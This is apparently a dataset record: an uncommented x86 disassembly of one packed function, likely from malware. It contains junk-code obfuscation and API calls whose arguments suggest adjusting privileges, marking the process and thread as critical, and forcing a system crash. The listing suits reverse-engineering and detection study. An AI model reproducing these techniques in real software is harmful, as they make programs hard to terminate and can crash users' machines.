Function at 0x40822e
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0
push 0xc
call fcn.00446baf
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
push 0x18
call fcn.00446baf
add esp, 4
mov dword [ebp - 0xc], eax
mov edi, eax
mov esi, 0x482727
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 4
rep stosd dword es:[edi], eax
jmp 0x40829a
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
mov dword [ebp - 0x10], esp
push 0
push 0x37
push 0
push 0x479858
xor eax, eax
call dword [sym.imp.USER32.dll_CreateWindowStationA]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x408306
push 0x5c
push 0x402686d
push 6
call fcn.00446bbb
add esp, 0xc
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], esp
push 2
push 2
push dword [ebp - 4]
xor eax, eax
call dword [0x4baf40]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x40833f
push 0x91
push 0x402686d
push 6
call fcn.00446bbb
add esp, 0xc
mov dword [ebp - 0x10], esp
push dword [ebp - 4]
xor eax, eax
call dword [0x4baf44]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x40836b
push 0xcc
push 0x402686d
push 6
call fcn.00446bbb
add esp, 0xc
mov dword [ebp - 0x10], esp
mov eax, 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0
push 1
push 0x13
xor eax, eax
call dword [0x4baf48]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x4083af
push 0x106
push 0x402686d
push 6
call fcn.00446bbb
add esp, 0xc
mov dword [ebp - 0x10], 0
push 0
push dword [ebp - 0x10]
mov dword [ebp - 0x14], 0
push 0
lea eax, [ebp - 0x14]
push eax
mov eax, 0x482710
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
call fcn.0040897c
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4083ec
push ebx
call fcn.00446bb5
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4083fc
push ebx
call fcn.00446bb5
add esp, 4
push htons
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x40840f
mov eax, 0x4798e6
push eax
push 1
mov ebx, 0x168
call fcn.00447ec0
add esp, 0x10
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x408435
push ebx
call fcn.00446bb5
add esp, 4
mov dword [ebp - 0x24], esp
push dword [ebp - 0x20]
mov eax, dword [ebp - 8]
push eax
push 8
call fcn.00446baf
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], eax
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
xor eax, eax
call dword [0x4baf4c]
nop
nop
cmp dword [ebp - 0x24], esp
je 0x40849c
push 0x17c
push 0x402686d
push 6
call fcn.00446bbb
add esp, 0xc
mov ebx, dword [ebp - 0x28]
push ebx
mov edi, dword [ebp - 0x2c]
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
call fcn.004081f7
call fcn.00446bb5
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4084d6
push ebx
call fcn.00446bb5
add esp, 4
mov ebx, dword [ebp - 0xc]
call fcn.00401b67
mov eax, 0
cmp eax, ecx
jl 0x4084fe
push 0x21a
push 0x402686d
push 1
call fcn.00446bbb
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], esp
push 0
mov eax, dword [ebp - 8]
push eax
push 8
call fcn.00446baf
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebp - 8]
push eax
push 8
call fcn.00446baf
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
xor eax, eax
call dword [0x4baf50]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x4085aa
push 0x239
push 0x402686d
push 6
call fcn.00446bbb
add esp, 0xc
push eax
mov ebx, dword [ebp - 0x18]
push ebx
mov edi, dword [ebp - 0x1c]
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
call fcn.004081f7
call fcn.00446bb5
add esp, 4
mov ebx, dword [ebp - 0x20]
push ebx
mov edi, dword [ebp - 0x24]
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
call fcn.004081f7
call fcn.00446bb5
add esp, 4
pop eax
mov ebx, dword [ebp - 0x10]
mov dword [ebx], eax
mov ebx, dword [ebp - 0xc]
call fcn.00401b67
mov eax, 1
cmp eax, ecx
jl 0x40862d
push 0x264
push 0x402686d
push 1
call fcn.00446bbb
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x14]
mov ax, word [ebx]
cwde
mov ebx, dword [ebp - 0x10]
mov dword [ebx], eax
mov ebx, dword [ebp - 0xc]
call fcn.00401b67
mov eax, 2
cmp eax, ecx
jl 0x40866f
push 0x294
push 0x402686d
push 1
call fcn.00446bbb
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0xc]
call fcn.00401b67
mov eax, 0
cmp eax, ecx
jl 0x40869f
push 0x294
push 0x402686d
push 1
call fcn.00446bbb
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x10]
mov dword [ebx], eax
mov ebx, dword [ebp - 0xc]
call fcn.00401b67
mov eax, 3
cmp eax, ecx
jl 0x4086d9
push 0x2c1
push 0x402686d
push 1
call fcn.00446bbb
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0xc]
call fcn.00401b67
mov eax, 0
cmp eax, ecx
jl 0x408709
push 0x2c1
push 0x402686d
push 1
call fcn.00446bbb
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x10]
mov dword [ebx], eax
mov dword [ebp - 0x10], esp
mov eax, 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 6
mov ebx, dword [ebp - 0xc]
call fcn.00401b67
push ebx
push 1
push 4
push 0xc000021a
xor eax, eax
call dword [0x4baf54]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x40876d
push 0x2ee
push 0x402686d
push 6
call fcn.00446bbb
add esp, 0xc
mov dword [ebp - 0x10], esp
mov eax, 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0
push 1
push 0x13
xor eax, eax
call dword [0x4baf48]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x4087b1
push 0x348
push 0x402686d
push 6
call fcn.00446bbb
add esp, 0xc
mov dword [ebp - 0x10], esp
mov eax, 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 6
push 0
push 0
push 0
push 0xc000021a
xor eax, eax
call dword [0x4baf58]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x4087ff
push 0x390
push 0x402686d
push 6
call fcn.00446bbb
add esp, 0xc
mov dword [ebp - 0x10], esp
mov eax, 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0
push 1
push 0x14
xor eax, eax
call dword [0x4baf48]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x408843
push 0x40d
push 0x402686d
push 6
call fcn.00446bbb
add esp, 0xc
mov dword [ebp - 0x10], esp
push 4
mov eax, 1
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0x1d
push 0xffffffff
xor eax, eax
call dword [0x4baf5c]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x408887
push 0x451
push 0x402686d
push 6
call fcn.00446bbb
add esp, 0xc
push 0
call fcn.00446b9d
add esp, 4
mov dword [ebp - 0x10], esp
mov eax, 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0
push 1
push 0x14
xor eax, eax
call dword [0x4baf48]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x4088d5
push 0x4d7
push 0x402686d
push 6
call fcn.00446bbb
add esp, 0xc
mov dword [ebp - 0x10], esp
push 4
mov eax, 1
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0x12
push 0xfffffffe
xor eax, eax
call dword [0x4baf60]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x408919
push 0x51b
push 0x402686d
push 6
call fcn.00446bbb
add esp, 0xc
push 0
call fcn.00446b9d
add esp, 4
push ecx
push eax
mov eax, 1
mov ecx, 2
mov eax, 4
mov ecx, 2
pop eax
pop ecx
nop
jmp 0x40894c
mov ebx, dword [ebp - 8]
push ebx
add ebx, 8
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x408963
push ebx
call fcn.00446bb5
add esp, 4
pop ebx
call fcn.00446bb5
add esp, 4
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.00446bb5
add esp, 4
mov esp, ebp
pop ebp
ret